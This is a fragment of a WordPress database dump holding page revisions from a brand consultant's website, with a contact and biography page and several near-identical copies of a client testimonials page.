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(3084, 1, '2015-10-09 14:10:49', '2015-10-09 21:10:49', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]\r\n<br />&nbsp;\r\n<br />&nbsp;', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 14:10:49', '2015-10-09 21:10:49', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
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(3091, 1, '2015-10-09 14:19:07', '0000-00-00 00:00:00', '', 'Woo Header Bg Image', 0, '', 'draft', 'closed', 'closed', '', 'woo-wf-woo_header_bg_image', '', '', '2015-10-09 14:19:07', '0000-00-00 00:00:00', '', 0, 'http://whc.fbdev.org/?post_type=wooframework&p=3091', 0, 'wooframework', '', 0),
(3130, 2, '2015-10-13 09:51:13', '2015-10-13 16:51:13', '<h1>Serving clients in diverse industry categories.</h1>\r\n<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>\r\n\r\n“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.\r\n\r\n<em>Jeff Lipis,\r\n</em><em>Managing Partner PRJ Consulting\r\n</em><em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>\r\n<p class="quote">"Thomson masterfully guided me through the process of developing the website for my 22/7 Company. I wanted to go beyond what was generally available… Thomson "got it" and helped me capture my vision and make it happen, He''s a rare combination of creative genius and organized strategic planner. I thoroughly enjoyed our working process together, He''s the best!"</p>\r\n<p class="attribute"><em>Terry Tillman</em>\r\n<em> Founder and President</em>\r\n<em> 22/7 Company\r\nManagement Consulting</em></p>\r\n<p class="quote">"Thomson is a rare breed! He is a gifted and talented creative professional and inspiring leader. I would highly recommend him to anyone who wants to take their business to the next level!"</p>\r\n<p class="attribute">Roger Gould\r\nFounder and President\r\nGould Design Inc\r\nGraphic Design Agency</p>\r\n\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how to help you achieve your desired outcomes.</h2>\r\n</div>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-autosave-v1', '', '', '2015-10-13 09:51:13', '2015-10-13 16:51:13', '', 3060, 'http://whc.fbdev.org/2015/10/3060-autosave-v1/', 0, 'revision', '', 0),
(3093, 2, '2015-10-09 15:23:52', '2015-10-09 22:23:52', '', 'Consulting Clients', 0, '', 'inherit', 'open', 'closed', '', 'project-image', '', '', '2015-10-09 15:24:19', '2015-10-09 22:24:19', '', 3060, 'http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg', 0, 'attachment', 'image/jpeg', 0),
(3094, 2, '2015-10-09 15:24:31', '2015-10-09 22:24:31', '<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" />\r\nServing clients in diverse industry categories. I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.</div>\r\n<em>Jeff Lipis,</em>\r\n<em>Managing Partner PRJ Consulting</em>\r\n<em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-09 15:24:31', '2015-10-09 22:24:31', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3097, 2, '2015-10-09 15:27:35', '2015-10-09 22:27:35', '<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>Serving clients in diverse industry categories.</h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.</div>\r\n<em>Jeff Lipis,</em>\r\n<em>Managing Partner PRJ Consulting</em>\r\n<em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-09 15:27:35', '2015-10-09 22:27:35', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3095, 2, '2015-10-09 15:25:10', '2015-10-09 22:25:10', '<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>\r\nServing clients in diverse industry categories. I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.</div>\r\n<em>Jeff Lipis,</em>\r\n<em>Managing Partner PRJ Consulting</em>\r\n<em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-09 15:25:10', '2015-10-09 22:25:10', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3096, 2, '2015-10-09 15:26:05', '2015-10-09 22:26:05', '<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>Serving clients in diverse industry categories. I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.</div>\r\n<em>Jeff Lipis,</em>\r\n<em>Managing Partner PRJ Consulting</em>\r\n<em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-09 15:26:05', '2015-10-09 22:26:05', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3098, 2, '2015-10-09 15:28:07', '2015-10-09 22:28:07', '<h2>Serving clients in diverse industry categories.</h2>\r\n<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.</div>\r\n<em>Jeff Lipis,</em>\r\n<em>Managing Partner PRJ Consulting</em>\r\n<em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and 